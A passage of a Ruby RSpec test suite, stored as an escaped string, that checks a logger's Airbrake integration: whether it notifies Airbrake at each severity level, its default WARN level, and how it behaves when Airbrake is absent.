have_been_made\n wait_for(a_request(:post, endpoint)).to have_been_made.once\n end\n end\n\n context \"when Airbrake is not installed\" do\n it \"only logs, never notifies\" do\n out = StringIO.new\n l = described_class.new(Logger.new(out))\n l.airbrake_notifier = nil\n msg = 'bango'\n\n l.fatal(msg)\n\n wait_for(a_request(:post, endpoint)).not_to have_been_made\n expect(out.string).to match('FATAL -- : bango')\n end\n end\n end\n\n describe \"#airbrake_level\" do\n context \"when not set\" do\n it \"defaults to Logger::WARN\" do\n expect(subject.airbrake_level).to eq(Logger::WARN)\n end\n end\n\n context \"when set\" do\n before do\n subject.airbrake_level = Logger::FATAL\n end\n\n it \"does not notify below the specified level\" do\n subject.error('bingo')\n wait_for(a_request(:post, endpoint)).not_to have_been_made\n end\n\n it \"notifies in the current or above level\" do\n subject.fatal('bingo')\n wait_for(a_request(:post, endpoint)).to have_been_made\n end\n\n it \"raises error when below the allowed level\" do\n expect do\n subject.airbrake_level = Logger::DEBUG\n end.to raise_error(/severity level \\d is not allowed/)\n end\n end\n end\nend\n"]